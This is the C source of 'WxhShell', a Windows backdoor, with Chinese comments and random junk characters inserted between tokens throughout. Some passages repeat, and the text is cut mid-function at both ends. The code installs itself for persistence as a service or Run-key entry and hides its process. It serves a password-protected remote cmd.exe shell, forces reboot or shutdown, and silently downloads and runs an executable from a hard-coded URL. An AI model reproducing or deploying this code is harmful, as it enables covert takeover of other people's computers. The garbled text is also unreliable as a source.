4&$z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WMo YpAJ7E|7 if (!NtQueryInformationProcess) return 0; "k8Yc<`u ]vyu! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X`[P11` if(!hProcess) return 0; JQ>GKu~ NV|[.g=lg if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GAZTCkB" [3yzVcr~4 CloseHandle(hProcess); PY4RwN ad\?@>[I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2 kOFyD
if(hProcess==NULL) return 0; -:hiLZJ7- n~1'M/wh HMODULE hMod; LDj'L~H char procName[255]; .`iG}j)\ unsigned long cbNeeded; ElAho3W I^M%+\ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -/#VD&MJO= SWAggW) CloseHandle(hProcess); 73-*|@6 5/v,| if(strstr(procName,"services")) return 1; // 以服务启动 y^rcUPLT YL )epi^ return 0; // 注册表启动 F-\Swbx+ } *h<=
(Y% E&\dr;{7 // 主模块 >@NH Al int StartWxhshell(LPSTR lpCmdLine) uhyw?#f { g>lJZD@ SOCKET wsl; m15MA.R> BOOL val=TRUE; fn%Gu s~ int port=0; v^Eg ,&( struct sockaddr_in door; jRswGMx &C~R* if(wscfg.ws_autoins) Install(); CQf<En|1 9`"o,wGX3 port=atoi(lpCmdLine); I)xB I~x Qy)+YhE if(port<=0) port=wscfg.ws_port; Xq3n7d. LvWl*:z WSADATA data; thoAEG80 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ")/TbTVu TZ`@pDi if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; egBjr? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +GgJFBl door.sin_family = AF_INET; AL%gqt] door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^2gDhoO_ door.sin_port = htons(port); hSxlj7Eo^T
T 4}SF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xW$F-n closesocket(wsl); ]=s!cfu return 1; o/EN3J } GM.2bA(y M18H1e@Al if(listen(wsl,2) == INVALID_SOCKET) { "(@W^qF}d closesocket(wsl); zW`Zmt\T2 return 1; b#**`Y } ?4X8l@fR Wxhshell(wsl); @%4MFc0`! WSACleanup(); jpL'y1@Ut $jt UQ1 return 0; \5+?wpH k,EI+lC X } 4=j,:q Fq{Z-yVp // 以NT服务方式启动 j3Ng] @N VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #RE { _eB?G DWORD status = 0; f@ &?K< DWORD specificError = 0xfffffff; 64Ot`=A" lpW|GFG serviceStatus.dwServiceType = SERVICE_WIN32; )$V &Nf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; vepZod}D serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .g CC$ serviceStatus.dwWin32ExitCode = 0; ;5wmQFr serviceStatus.dwServiceSpecificExitCode = 0; `w_?9^7mH serviceStatus.dwCheckPoint = 0; 4T*RJ3Fz! serviceStatus.dwWaitHint = 0; y-UutI& sUaUZO2V hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -29Sw if (hServiceStatusHandle==0) return; o8 A]vaa &*G+-cF status = GetLastError(); mhp&;
Q9 if (status!=NO_ERROR) 0nkon3H { -rU~ serviceStatus.dwCurrentState = SERVICE_STOPPED; 2gn*B$a serviceStatus.dwCheckPoint = 0; ryz
[A:^G serviceStatus.dwWaitHint = 0; #z|\AmZ\ serviceStatus.dwWin32ExitCode = status; ~[@Gj{6p0 serviceStatus.dwServiceSpecificExitCode = specificError; ^y@RfM=A SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~<M/<%o2* return; sGNVZx } ~|j :xM(i 9NH"Ik* serviceStatus.dwCurrentState = SERVICE_RUNNING; 6E9y[ %+ serviceStatus.dwCheckPoint = 0; )P6n,\ serviceStatus.dwWaitHint = 0; >".,=u' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +/ A`\9QT } E"ju<q/Q 9/lCW // 处理NT服务事件,比如:启动、停止 QjW7XVxB#N VOID WINAPI NTServiceHandler(DWORD fdwControl) RU>Hr5ebo { p_!;N^y. switch(fdwControl) O<3i6 { PZ/ gD case SERVICE_CONTROL_STOP: %G%##wv: serviceStatus.dwWin32ExitCode = 0; *7"R[!9 serviceStatus.dwCurrentState = SERVICE_STOPPED; >
,L'A;c} serviceStatus.dwCheckPoint = 0; Oeo:V" serviceStatus.dwWaitHint = 0; $}d| ~q\ { Onr#p4UT SetServiceStatus(hServiceStatusHandle, &serviceStatus); Da)rzr|}>3 } Zk+J= Cwq} return; NO4V{}?a case SERVICE_CONTROL_PAUSE: xl%!7?G|$> serviceStatus.dwCurrentState = SERVICE_PAUSED; s5 2c`+ break; x4SI TY case SERVICE_CONTROL_CONTINUE: 1a#oJU serviceStatus.dwCurrentState = SERVICE_RUNNING; B,SH9, break; qyP|`Pm4 case SERVICE_CONTROL_INTERROGATE: zy(i]6 break; 1'5I]D
ec }; <B]\& SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Mset^o } N0be=IO5# zcrLd={ // 标准应用程序主函数 {;(X#vK}9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
Bp3%*va { =d/\8\4 (wmMHo| // 获取操作系统版本 X\SZ Q[gN OsIsNt=GetOsVer(); !GkwbHr+p GetModuleFileName(NULL,ExeFile,MAX_PATH); im&E\`L7 S~1>q+<Q // 从命令行安装 B;'Dh<J1 if(strpbrk(lpCmdLine,"iI")) Install(); dhe?7r]u 9wP_dJvb // 下载执行文件 [Rh[Z #6 if(wscfg.ws_downexe) { gY AXUM, if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8?S32Gdu WinExec(wscfg.ws_filenam,SW_HIDE); QMI&?Q:= } V:h-K`~/ ,s'78Dc$ if(!OsIsNt) { KWU
~QAc // 如果时win9x,隐藏进程并且设置为注册表启动 .BsZ.!MPL( HideProc(); eTI<WFRc_ StartWxhshell(lpCmdLine); b _fI1f| } _A*5BAB:h( else jB]tq2i if(StartFromService()) %H:uE*WZ // 以服务方式启动 qvz2u]IOw StartServiceCtrlDispatcher(DispatchTable); _W 41;OY else bS{7 *S // 普通方式启动 daT[2M StartWxhshell(lpCmdLine); kBY54pl \H$Ps9Xh return 0; !dfc1 UjB } *|MHQp'A iw<#V&([J @ViJJ\ \oF79 =========================================== N=K|Nw v*%#Fp,g8 LTu
c s} (: IUg
>_QC_UX>4i VOBzB] " u7>b}+ak& @sly-2{e1 #include <stdio.h> D'aq^T' #include <string.h> 0$3\DS<E #include <windows.h> QRj><TKi #include <winsock2.h> {aI8p}T #include <winsvc.h> 4l2i'H #include <urlmon.h> 6#XB'PR2p \^iPU 27H #pragma comment (lib, "Ws2_32.lib") &?^S`V8R* #pragma comment (lib, "urlmon.lib") _Zya GDv !3>(fj+QS #define MAX_USER 100 // 最大客户端连接数 H4LZNko #define BUF_SOCK 200 // sock buffer JicAz1P1W #define KEY_BUFF 255 // 输入 buffer hXi^{ntw, &LE,.Q34 #define REBOOT 0 // 重启 l%*KBME #define SHUTDOWN 1 // 关机 PL/as3O^A c0]^V>}cl #define DEF_PORT 5000 // 监听端口 7N "$~UfC 5uMh#dm^ #define REG_LEN 16 // 注册表键长度 v_f8zk #define SVC_LEN 80 // NT服务名长度 ~lMw*Qw^ _aVrQ@9 // 从dll定义API OaU-4
~n; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mxtLcG4G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &P&LjHFK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V6"<lK8" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jC1mui|Y^ h+Km | // wxhshell配置信息 4g]Er<-P struct WSCFG { e Ll+F%@ int ws_port; // 监听端口 |ofegO}W7 char ws_passstr[REG_LEN]; // 口令 -x2/y:q ` int ws_autoins; // 安装标记, 1=yes 0=no `k65&]&d char ws_regname[REG_LEN]; // 注册表键名 *@fR36 char ws_svcname[REG_LEN]; // 服务名 e{8z1t20: char ws_svcdisp[SVC_LEN]; // 服务显示名 T9]|*~ ,T char ws_svcdesc[SVC_LEN]; // 服务描述信息 AOQimjW9a char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /W'GX n int ws_downexe; // 下载执行标记, 1=yes 0=no U'zW; Lt char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hK"hMyH^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ei2Y)_ 78>)<$+d }; v5l)T}Nb ^'i(@{{o\ // default Wxhshell configuration `;b@a<Wl struct WSCFG wscfg={DEF_PORT, V|b9zHh "xuhuanlingzhe", Eq^k @ 1, \]}|m<R "Wxhshell", Zh`lC1l' "Wxhshell", ~\`lbGJ7? "WxhShell Service", !s#25}9zX5 "Wrsky Windows CmdShell Service", qd"1KzQWO "Please Input Your Password: ", Ar4E $\W 1, LAeJz_9U "http://www.wrsky.com/wxhshell.exe", g1VdP[Y# "Wxhshell.exe" LY2oBX@fC }; ?F20\D\V L<!}!v5ja // 消息定义模块 C
J S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \y^ Od7F char *msg_ws_prompt="\n\r? for help\n\r#>"; M>dP
1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8*3o9$Pj char *msg_ws_ext="\n\rExit."; pDb5t> char *msg_ws_end="\n\rQuit."; 'Ca6cm3Tg char *msg_ws_boot="\n\rReboot..."; \bqIe}3V7 char *msg_ws_poff="\n\rShutdown..."; PHl{pE* char *msg_ws_down="\n\rSave to "; &=H{ 36i@ w*<XPBi
char *msg_ws_err="\n\rErr!"; NR-d|`P; char *msg_ws_ok="\n\rOK!"; ?>5[~rMn jW*|Mu>2 char ExeFile[MAX_PATH]; TjxZ-qw< int nUser = 0; <uUQ-]QOIh HANDLE handles[MAX_USER]; yjUZ40Dq int OsIsNt; Ov"]&e(I[ PE3FuJGz SERVICE_STATUS serviceStatus; QU^*(HGip SERVICE_STATUS_HANDLE hServiceStatusHandle; $Z6g/bD`E mZ
39 s // 函数声明 dt(~)*~R int Install(void); ;]zV ?9 int Uninstall(void); K,e"@G int DownloadFile(char *sURL, SOCKET wsh); 0UZ>y/
C)= int Boot(int flag); fyPpzA0 void HideProc(void); \O5`R- int GetOsVer(void); |m7U^ int Wxhshell(SOCKET wsl); %0C<_drW void TalkWithClient(void *cs); u- PAi5&n int CmdShell(SOCKET sock); sm5\> L3V int StartFromService(void); Y-\hV6v6 int StartWxhshell(LPSTR lpCmdLine); &Oc^LV$6 ]|62l+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G 'IqAKJ VOID WINAPI NTServiceHandler( DWORD fdwControl ); [G2@[CtY1 S[,! // 数据结构和表定义 ^;jJVYx-PP SERVICE_TABLE_ENTRY DispatchTable[] = ^T@ (`H4@ { bh|M]*Pq {wscfg.ws_svcname, NTServiceMain}, s. I%[kada {NULL, NULL} eznt "Rr2 }; O*{<{3 Pe6}y // 自我安装 "*W: int Install(void) 2^w3xL" {
WV&T char svExeFile[MAX_PATH]; H,`F%G#!`q HKEY key; lxb+0fiN strcpy(svExeFile,ExeFile); e5G)83[= yG\^PD // 如果是win9x系统,修改注册表设为自启动
wqB{cr}! if(!OsIsNt) { 6yk=4l\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 51j5AbFQ" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )QYg[<e6 RegCloseKey(key); )[RLCZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { koOkm:(, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $U%M]_ RegCloseKey(key); Z-|.j^n return 0; |S.G#za } I^"ouM9}Q } /aS= vjs } /ivcqVu] else { _R&mN\ey5 yO*~)ALb+ // 如果是NT以上系统,安装为系统服务 NRu_6~^^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i
,Cvnp6Lv if (schSCManager!=0) eKjmU | H { .j?`U[V%a SC_HANDLE schService = CreateService ws8@yr<R ( abiZ"?( schSCManager, j8n_:;i* wscfg.ws_svcname, t80s(e wscfg.ws_svcdisp, _5TSI'@.4 SERVICE_ALL_ACCESS, e$]` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K"u-nroHW SERVICE_AUTO_START, HT&CbEa4' SERVICE_ERROR_NORMAL, &
$E[l' svExeFile, uQh dg4 NULL, X[/>{rK NULL, 0VsQ$4'V^ NULL, ?>c*[>LpZ NULL, 6.
N?=R NULL "fK`F/ ); YXCltME if (schService!=0) np2oXg% { fkf69,+"] CloseServiceHandle(schService); V]I@&*O~r CloseServiceHandle(schSCManager); 1o"/5T:S[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hRAI7xk strcat(svExeFile,wscfg.ws_svcname); 7P1G^) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9V&}% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PdiP5S }/ RegCloseKey(key); @}[ >*Xy% return 0; Mx9#YJ?t~ } PWeCk2 xH } sF9{(Us CloseServiceHandle(schSCManager); +&hhj~I. } <0lXJqd } tUX4#{)q(j F6>K FU8 return 1; 1ocd$)B|} } ;:<z hO |;xm-AM4r // 自我卸载 ]0N'Wtbn int Uninstall(void) TljN!nv] { *u
L Ooq HKEY key; k(hYNmmo
j HI iMq'H^ if(!OsIsNt) { #a1zk\R3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LX<arHz RegDeleteValue(key,wscfg.ws_regname); V~#e%&73FH RegCloseKey(key); 3OnIAk3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <JtH/oN RegDeleteValue(key,wscfg.ws_regname); Bmx+QO RegCloseKey(key); w2*.3I,~)B return 0; 1{6 BU! } %8c
<C } V11(EZJ/j } NUxOU>f else { 1.S7MSpTV 6 3TeTGp$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xjb 4dip if (schSCManager!=0) 8yW 8F26 { wyzx9`5~d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /<[S> ;!kr if (schService!=0) &6]+a4 { '?| (QU:)F if(DeleteService(schService)!=0) { ? :StFlie CloseServiceHandle(schService); +_^Rxx!XA CloseServiceHandle(schSCManager); ggluQGA return 0; 2_S%vA<L } 2MT_5j5[N CloseServiceHandle(schService); lT.Q)( } t<~WDI|AN CloseServiceHandle(schSCManager); y{&k`H } sk'<K5~ } m7<HK,d dA,irb I0W return 1; %>,B1nt } F;
upb5 zzlqj){F
// 从指定url下载文件 jbQ N<`! int DownloadFile(char *sURL, SOCKET wsh) XKp$v']u { E`E$ }iLs HRESULT hr; bBx.snBK char seps[]= "/"; b:%z<vo char *token; fPXMp%T! char *file; \.0cA4)[$ char myURL[MAX_PATH]; TFZvZi$u& char myFILE[MAX_PATH]; $H0diwl9R hKkUsY=R strcpy(myURL,sURL); Ufx^@%v token=strtok(myURL,seps); 2T3TD% while(token!=NULL) C%c}lv8;^ { P:~Xaz\F file=token; XOOWrK7O token=strtok(NULL,seps); Z|78>0SAt } M.DU^-7 J#k3iE} GetCurrentDirectory(MAX_PATH,myFILE); '(ZJsw strcat(myFILE, "\\"); ]V*ku%L0 strcat(myFILE, file); 6snDv4 send(wsh,myFILE,strlen(myFILE),0); 0^%\! Xxq send(wsh,"...",3,0); bxxazsj^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ';H"Ye:D=7 if(hr==S_OK) O
&/9wi>!q return 0; r'TxYM-R else [_$r- FA return 1; :eK(9o l ~bjNhk } Z)JJ-V!
|AosZeO_ // 系统电源模块 ~Onj|w7 int Boot(int flag) 72i]`
{ R,Gr{"H HANDLE hToken; "hE/f~\ TOKEN_PRIVILEGES tkp; C(w?`]Qs R,3E_me"} if(OsIsNt) { d3nx"=Cy0I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t=-t xnlr< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nqp:nw tkp.PrivilegeCount = 1; /mdPYV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #F>7@N:5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^*6So3 if(flag==REBOOT) { }JP0q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S\\3?[!p return 0; W^o*^v } trl:\m else { MU
}<-1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ywSV4ZtM return 0; E$u9Jbe } ';'TCb{f * } K;n2mXYGM else { "-y2En if(flag==REBOOT) { cpIFjb>u{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p3m!Iota return 0; mbf'xGO } 5g x9W\a ? else { 98c##NV(7| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) knX*fp return 0; Ffvv8x } 8vk*", } fX:)mLnO/ mYU7b8x_ return 1; v?BVUH>#9 } J
8!D."'Q0 4t C-msTf // win9x进程隐藏模块 A-=B#U F void HideProc(void) `.MY"g9 { ] "ZL<?3g .o27uB. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '}nH\?( if ( hKernel != NULL ) |"K< { *Ce8(
"v, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1v<,nABuJ6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @yGK$<R FreeLibrary(hKernel); AZj`o } d9j+==S
< J|O=w( return; 8fG$><@ } bqo+b{i\ O#}d!}SIp // 获取操作系统版本 [N35.O6P6u int GetOsVer(void) 5s5GBJ? { 5l(8{,NDt OSVERSIONINFO winfo; X0QY:? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "8.to=Lx GetVersionEx(&winfo); _f"HUKGN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LTn@OhC return 1; nV[0O8p2Md else : ~RY return 0; Czl4^STiC } @;6I94Bp #5Q?Q~E@ // 客户端句柄模块 "M-zBBY ] int Wxhshell(SOCKET wsl) Hm>7|! { mJ'Q9x" SOCKET wsh; (Xak;Xum1 struct sockaddr_in client; 46yq F DWORD myID; [Iwb7a0p m
L#%H( while(nUser<MAX_USER) lmsO
6=I4F { 35;UE2d)< int nSize=sizeof(client); x|7vN E=Q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {?!0<0 if(wsh==INVALID_SOCKET) return 1; /k$H"'`j4 'aN`z3T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bu2@~ if(handles[nUser]==0) Q5ZZ4`K! closesocket(wsh); I[x+7Y0k9 else %2S+G?$M? nUser++; }L!%^siG_ } vp[;rDsIJ$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LR(Q.x TKwMgC}<[ return 0; a?d)lnk } 4s:S_Dw $i|c6& // 关闭 socket O<*l"fw3 void CloseIt(SOCKET wsh) b`9J1p.; { ,k9@%{4 l closesocket(wsh); EMTAl;P nUser--; u|G&CV#r ExitThread(0); vqeWt[W
v } :rdw0EROy 9s.x%m, // 客户端请求句柄 k2-:!IE void TalkWithClient(void *cs) |}?o=bO { CnXl 7" ,/bSa/x` SOCKET wsh=(SOCKET)cs; bG|aQ2HW char pwd[SVC_LEN]; odPdWV,&* char cmd[KEY_BUFF]; &'mq).I2 char chr[1]; WGK:XfOBQ int i,j; !{WIN%O 342m=7lK while (nUser < MAX_USER) { K1_]ne)
mDCz=pk) if(wscfg.ws_passstr) { : xBG~D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I,nW~;OV0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?*nFz0cs^ //ZeroMemory(pwd,KEY_BUFF); 21LJ3rW_ i=0; cn3F3@_"\ while(i<SVC_LEN) { =*[98%b
.{=|N8*py8 // 设置超时 en5sqKqh+ fd_set FdRead; q!qOy/}D struct timeval TimeOut; Ir,3' G FD_ZERO(&FdRead); -|FSdzvg FD_SET(wsh,&FdRead); @[2Go}VF TimeOut.tv_sec=8; i3SrsVSG TimeOut.tv_usec=0; {9,!XiF.: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )-u0n], if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `pTCK9 gZg5On if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iC.k8r+~ pwd=chr[0]; MjNq8'$" if(chr[0]==0xd || chr[0]==0xa) { d%EUr9~? pwd=0; {,9^k'9 break; zK_+UT } 82>90e(CH] i++; iPuX } ]zt77'J jG E=7 // 如果是非法用户,关闭 socket Ofm?`SE*| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IQm[,Fh } Twi7g3}/jB r](%9Y send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
7<Yf send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L3@upb
%77X/%.Y while(1) { z2
m(<zb l_MF9.z& ZeroMemory(cmd,KEY_BUFF); </jzM?i zZhA]J // 自动支持客户端 telnet标准 c97?+Y^ j=0; Hd8 O3_5 while(j<KEY_BUFF) { eF06B'uL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 70MSP;^ cmd[j]=chr[0]; ?6#F9\ if(chr[0]==0xa || chr[0]==0xd) { ~CRd0T[^ cmd[j]=0; PL}c1Ud break; W74Y.zQ } }}Kjb j++; P\nz;}nv } h;lg^zlTb "{@Q..hxC // 下载文件 )
u(Gf*t if(strstr(cmd,"http://")) { 5L!cS+QNU send(wsh,msg_ws_down,strlen(msg_ws_down),0); :ot^bAyt| if(DownloadFile(cmd,wsh)) !4 =]@eFk send(wsh,msg_ws_err,strlen(msg_ws_err),0); pVa9g)+z} else ,SQ`, C
_5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "gQ-{ W } +5k^- else { ER'zjI>t@ {: H&2iF switch(cmd[0]) { ~rl,Hr3Zo \8}!aTC // 帮助 &%\H170S case '?': { tEbR/?,GI send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~TvKMW6/# break; MJ..' $>TC } 6A;,Ph2 // 安装 VHbQLJ0 case 'i': { N,?4,+Hc- if(Install()) Pf/_lBtL send(wsh,msg_ws_err,strlen(msg_ws_err),0); `({Bi!%i else pOKs VS%fT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <,:5d2mM. break; %%c1@2G< } 0LW|5BVbIO // 卸载 }QzF.![~z case 'r': { Q/2(qD; u if(Uninstall()) 5nA
*'($j send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)|EWT?, else IBn+42V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hdxon@,+cd break; jY|fP!?[ } <{Pr(U*7} // 显示 wxhshell 所在路径 7J6D wh{ case 'p': { m(0c|- char svExeFile[MAX_PATH]; +~{Honj[ strcpy(svExeFile,"\n\r"); vWh]1G#'p[ strcat(svExeFile,ExeFile); &&s3>D^Ta send(wsh,svExeFile,strlen(svExeFile),0); f$|AU-|< break; Ix59(g } ,g~Iup // 重启 z,+LPr case 'b': { F39H@%R send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 921m'WE if(Boot(REBOOT)) M}Obvl send(wsh,msg_ws_err,strlen(msg_ws_err),0); )&F]j else { HVLj(_
A closesocket(wsh); 9V0@!M8S ExitThread(0); H(rK39Q } ENhKuX break; z^z,_?q; } w40 -K5wt> // 关机 )xxpO$ case 'd': { \ y}!yrQ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _+*+,Vx if(Boot(SHUTDOWN)) O}Mu_edM send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5z=.Z\M`8 else { :+?w> closesocket(wsh); NQu.%= ExitThread(0); (aUdPo8H^ } d [f,Nu' break; D~T;z pS } l6~wm1vO // 获取shell _rakTo8BY case 's': { C>=[fAr mO CmdShell(wsh); ;Im%L=q9GL closesocket(wsh); E},^,65 ExitThread(0); h( V:-D break; 3I.0jA#T&/ } <oKoz0! // 退出 8ZN"-]* case 'x': { oQL$X3S send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s.IYPH|pn CloseIt(wsh); `iZ){JfAH break; WFm\ bZ. } =#so[Pd // 离开 Bid+,, case 'q': { F[5sFkM7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); :v
Do{My^1 closesocket(wsh); dc=}c/6x WSACleanup(); x;@wtd*QB exit(1); !l|fzS8g break; *u ^m f~ } 'i;/?'!W6 } De^Uc } #O,;3S 4m"6$ // 提示信息 e anR$I;Yj if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
<_>xkQbn2 } VOkSR6 } Gv\:Agi ;^f ;< return; CB KLct> } );!IGcgF <.knM // shell模块句柄 A V]7l}- int CmdShell(SOCKET sock) 4T??8J-J { LM2S%._cj; STARTUPINFO si; `P
* wz< ZeroMemory(&si,sizeof(si)); N/x]-$fl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Em]2K: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5D6 ,B PROCESS_INFORMATION ProcessInfo; ,ui=Wi1 char cmdline[]="cmd"; _)XZ;Q CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ! lxq,Whr{ return 0; `)TuZP_) } J>dIEW%u EGw;IFj) // 自身启动模式 vT{+Z\LL= int StartFromService(void) khQ@DwO*\= { h]>7Dl] typedef struct Rc2JgV { *o}7&Hw#9f DWORD ExitStatus; r~YxtBZH+ DWORD PebBaseAddress; EN/r{Cm$B DWORD AffinityMask; i TLX=.M DWORD BasePriority; ncdj/C ULONG UniqueProcessId; #t< ULONG InheritedFromUniqueProcessId; r0/aw
} PROCESS_BASIC_INFORMATION; )F'r-I%Hi 77H"= PROCNTQSIP NtQueryInformationProcess; :um]a70 .X\9vVJ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z]HaE|j}S static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1{-yF :A bR'UhPs-8; HANDLE hProcess; 3XSfXS{lwP PROCESS_BASIC_INFORMATION pbi; oYAHyCkVq %Xe 74C" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
{v}BtZ if(NULL == hInst ) return 0; Px?zih!6 HB*H%>L{"B g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t_kRYdW 9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MG:eI?G/' NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;:1o|>mX c|s7cG$+- if (!NtQueryInformationProcess) return 0; w`_"R6 }!QVcu"+t/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3W3)%[ 5 if(!hProcess) return 0; /N7.|XI. ]XjL""EbC if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +lw8YH 2?nEHIUT CloseHandle(hProcess); cnz+%Y N trz&]v=: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |a!]Iqz"N if(hProcess==NULL) return 0; @kW RI* m #pnB+h&tE HMODULE hMod; KD`*[.tT char procName[255]; R q`j|tY unsigned long cbNeeded; Mhu|S)hn &P&VJLA |